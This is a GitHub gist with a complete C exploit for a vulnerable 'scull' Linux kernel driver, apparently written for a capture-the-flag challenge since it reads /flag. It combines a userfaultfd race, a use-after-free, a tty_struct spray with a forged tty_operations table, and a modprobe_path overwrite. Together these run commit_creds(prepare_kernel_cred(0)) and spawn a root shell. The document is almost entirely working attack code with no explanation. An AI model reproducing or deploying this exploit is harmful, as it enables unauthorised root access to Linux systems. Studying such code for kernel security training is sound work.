Skip to content

Instantly share code, notes, and snippets.

@A2nkF
Last active January 2, 2021 10:47
Show Gist options
  • Save A2nkF/4f477801a9b12790ce0d0279d1f26033 to your computer and use it in GitHub Desktop.
Save A2nkF/4f477801a9b12790ce0d0279d1f26033 to your computer and use it in GitHub Desktop.
#define _GNU_SOURCE
#include <pty.h>
#include <poll.h>
#include <sched.h>
#include <fcntl.h>
#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>
#include <unistd.h>
#include <signal.h>
#include <sys/msg.h>
#include <syscall.h>
#include <sys/ipc.h>
#include <pthread.h>
#include <sys/sem.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <linux/userfaultfd.h>
#include "scull.h"
/* --- constants --- */
#define DEBUG 1
#define SPRAY_ALLOC_TIMES 0x5
#define OBJECT_SIZE 0x20
#define PAGE_SIZE 0x1000
#define TIOCMGET 0x5416
#define TTY_MAGIC 0x5401
#define USERSPACE 0x1337000
#define REGION 0xA11E5000
#define DEV_PATH "/dev/scull"
/* --- structs and types --- */
typedef long func(long arg);
typedef struct {
int ufd;
void *ufd_addr;
void *userspace;
void (*callback)(void *config);
int spray_fd[SPRAY_ALLOC_TIMES];
} ctx_t;
/* --- protos --- */
long shellcode(void);
void magic(ctx_t *config);
void prepare_exploit(void);
int userfaultfd(int flags);
void scull_shift(int count);
static void scull_trim(void);
void scull_set_qset(int count);
void initialize_ufd(ctx_t *config);
void scull_set_quantum(int count);
void page_fault_handler(ctx_t *config);
/* --- scull helper functions --- */
static void scull_trim(void) {
int scullFD = open(DEV_PATH, O_WRONLY);
if (DEBUG) {
printf("[DEBUG] scull_trim()\n");
}
usleep(100);
close(scullFD);
}
void scull_shift(int count) {
int scullFD = open("/dev/scull", O_RDWR);
if (DEBUG) {
printf("[DEBUG] scull_shift(%d)\n", count);
}
int rc = ioctl(scullFD, SCULL_IOCSHIFT, count);
if (rc != 0) {
fprintf(stderr, "scull_shift(%d) rc=%d errno=%d: %s\n", count, rc, errno, strerror(errno));
exit(1);
}
usleep(100);
close(scullFD);
}
void scull_set_quantum(int count) {
int scullFD = open("/dev/scull", O_RDWR);
if (DEBUG) {
printf("[DEBUG] scull_set_quantum(%d)\n", count);
}
int rc = ioctl(scullFD, SCULL_IOCTQUANTUM, count);
if (rc != 0) {
fprintf(stderr, "[-] scull_set_quantum(%d) rc=%d errno=%d: %s\n", count, rc, errno, strerror(errno));
exit(1);
}
scull_trim();
usleep(100);
close(scullFD);
}
void scull_set_qset(int count) {
int scullFD = open("/dev/scull", O_RDWR);
if (DEBUG) {
printf("[DEBUG] scull_set_qset(%d)\n", count);
}
int rc = ioctl(scullFD, SCULL_IOCTQSET, count);
if (rc != 0) {
fprintf(stderr, "[-] scull_set_qset(%d) rc=%d errno=%d: %s\n", count, rc, errno, strerror(errno));
exit(1);
}
scull_trim();
usleep(100);
close(scullFD);
}
/* --- userfaultfd stuff--- */
int userfaultfd(int flags) {
return syscall(SYS_userfaultfd, flags);
}
void initialize_ufd(ctx_t *config) {
int fd;
printf("[*] Lazy mapping region: 0x%llx\n", config->ufd_addr);
void *page = mmap(config->ufd_addr, PAGE_SIZE, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);
assert((uint64_t)page == config->ufd_addr);
struct uffdio_register reg;
if ((fd = userfaultfd(O_NONBLOCK)) == -1) {
perror("[ERROR] Userfaultfd failed");
exit(-1);
}
struct uffdio_api api = { .api = UFFD_API };
if (ioctl(fd, UFFDIO_API, &api)) {
perror("[ERROR] ioctl - UFFDIO_API failed");
exit(-1);
}
if (api.api != UFFD_API) {
puts("[ERROR] Unexepcted UFFD api version!");
exit(-1);
}
reg.mode = UFFDIO_REGISTER_MODE_MISSING;
reg.range.start = (long)(page);
reg.range.len = PAGE_SIZE;
if (ioctl(fd, UFFDIO_REGISTER, &reg)) {
perror("[ERROR] ioctl - UFFDIO_REGISTER failed");
exit(-1);
}
printf("[+] We're monitoring #PFs at %p - %p now!\n", page, page + PAGE_SIZE);
config->ufd = fd;
return;
}
void page_fault_handler(ctx_t *config) {
struct pollfd pollfd;
struct uffd_msg fault_msg;
struct uffdio_copy ufd_copy;
int ufd = config->ufd;
pollfd.fd = ufd;
pollfd.events = POLLIN;
while (poll(&pollfd, 1, -1) > 0) {
if ((pollfd.revents & POLLERR) || (pollfd.revents & POLLHUP)) {
perror("[ERROR] Polling failed");
exit(-1);
}
if (read(ufd, &fault_msg, sizeof(fault_msg)) != sizeof(fault_msg)) {
perror("[ERROR] Read - fault_msg failed");
exit(-1);
}
char *page_fault_location = (char *)fault_msg.arg.pagefault.address;
if (fault_msg.event != UFFD_EVENT_PAGEFAULT || (page_fault_location != config->ufd_addr && page_fault_location != config->ufd_addr + PAGE_SIZE)) {
perror("[ERROR] Unexpected pagefault?");
exit(-1);
}
if (page_fault_location == config->ufd_addr) {
printf("[+] Cought #PF at address %p!\n", page_fault_location);
// Now the magic
config->callback(config);
puts("[~] Serving page with fake tty...");
long tty_file_private[] = {
config->userspace,
0x4141414141414141,
0x4242424242424242,
0x4343434343434343,
0x6666666666666666,
0x7777777777777777,
0x8888888888888888,
};
ufd_copy.dst = config->ufd_addr;
ufd_copy.src = (unsigned long)(&tty_file_private);
ufd_copy.len = PAGE_SIZE;
ufd_copy.mode = 0;
ufd_copy.copy = 0;
puts("[~] And back to kernel space...");
if (ioctl(ufd, UFFDIO_COPY, &ufd_copy) < 0) {
perror("[ERROR] ioctl(UFFDIO_COPY)");
exit(-1);
}
return;
}
}
}
/* --- This is where the magic happens --- */
long shellcode() {
// Get root
// long ret = __builtin_return_address(0);
func* prepare_kernel_cred = (func*)(0xffffffff810c3bd0);
func* commit_creds = (func*)(0xffffffff810c3860);
commit_creds(prepare_kernel_cred(0));
// Prepare stable code execution
char *modprobe_path = 0xffffffff82660160;
char handler[] = "/bin/exploit";
memcpy(modprobe_path, handler, sizeof(handler));
// return anything other than -ENOIOCTLCMD(-515)
return 0x1337;
}
void prepare_exploit() {
if (!getuid()){
printf("[+] Modproble handler got called! Shell incoming...");
system("/bin/bash");
} else {
printf("[~] Binding to CPU 0...\n");
cpu_set_t aff;
CPU_ZERO(&aff);
CPU_SET(0, &aff);
int setaffinity_ret = sched_setaffinity(0, sizeof(cpu_set_t), &aff);
assert(setaffinity_ret == 0);
}
return;
}
void setup_userspace(ctx_t *config) {
printf("[~] Mapping page at 0x%lx\n", config->userspace);
volatile char* page = mmap(config->userspace, 0x2000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
if (page == MAP_FAILED) {
perror("[ERROR] mmap");
exit(-1);
}
long tty[] = {
TTY_MAGIC,
0x61616161,
config->userspace + 0x100,
config->userspace + 0x200,
0xdead4000,
0xdead5000,
0xdead6000,
0xdead7000,
0xdead8000,
0xdead9000,
0xdeada000,
config->userspace + 0x300,
0xdeadc000,
0xdeadd000,
0xdeade000,
0xdeadf000,
};
long tty_ops[] = {
0x4444444444444441,
0x4444444444444442,
0x4444444444444443,
0x4444444444444444,
0x4444444444444445,
0x4444444444444446,
0x4444444444444447,
0x4444444444444448,
0x4444444444444449,
0x4444444444444449,
0x444444444444444a,
0x5555555555555551,
shellcode, // tty->ops->ioctl(tty, cmd, arg)
0x5555555555555553,
0x5555555555555554,
0x5555555555555555,
0x5555555555555556,
0x5555555555555557,
0x5555555555555558,
0x5555555555555559,
0x5555555555555559,
0x555555555555555a,
0x6666666666666661,
0x6666666666666662,
0x6666666666666663,
0x6666666666666664,
0x6666666666666665,
0x6666666666666666,
0x6666666666666667,
0x6666666666666668,
0x6666666666666669,
0x6666666666666669,
0x666666666666666a,
};
memcpy(config->userspace, tty, sizeof(tty));
memcpy(config->userspace+0x200, tty_ops, sizeof(tty));
memcpy(config->userspace+0x300, tty_ops, sizeof(tty));
puts("[+] Wrote fake tty_struct!");
}
void magic(ctx_t *config) {
puts("[*] Callback got hit!");
// Free it!
scull_trim();
// Now spray!
puts("[~] Spraying TTYs...");
for (int i = 0; i < SPRAY_ALLOC_TIMES; i++) {
config->spray_fd[i] = open("/dev/tty", O_RDWR | O_NOCTTY);
if (config->spray_fd[i] < 0) {
perror("open tty");
}
}
return;
}
int main(int argc, char *argv[]) {
int device = -1;
ctx_t config = {0};
pthread_t tid = -1;
config.ufd_addr = REGION;
config.callback = magic;
config.userspace = USERSPACE;
prepare_exploit();
setup_userspace(&config);
puts("[+] Userspace setup done! Starting exploit...");
device = open(DEV_PATH, O_RDWR);
scull_set_quantum(OBJECT_SIZE);
scull_set_qset(0x2);
puts("[~] Preparing userfaultfd...");
initialize_ufd(&config);
puts("[~] Spawning page fault handler thread...");
pthread_create(&tid, NULL, page_fault_handler, &config);
puts("[~] This should pagefault... ");
write(device, (void *)config.ufd_addr, 0x20);
puts("[+] After #PF now, triggering call! ");
for (int i = 0; i < SPRAY_ALLOC_TIMES; i += 1) {
ioctl(config.spray_fd[i], 0xcafebabe, 0xfeedbeef);
}
pthread_join(tid, NULL);
setuid(0);
if (!getuid()) {
puts("[+] Userspace shellcode says hi!");
printf("[!] We are root! Flag: ");
fflush(stdout);
usleep(1000);
system("cat /flag");
puts("[+] Getting stable Code execution! modprobe_handler has been hooked!");
system("echo -ne '\xA7\x77\x77\xE5' > /corrupt && chmod +x /corrupt");
puts("[+] Corrupted file! Getting shell now...");
system("/corrupt");
} else {
puts("[ERROR] this shouldn't happen... Panic :D");
}
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment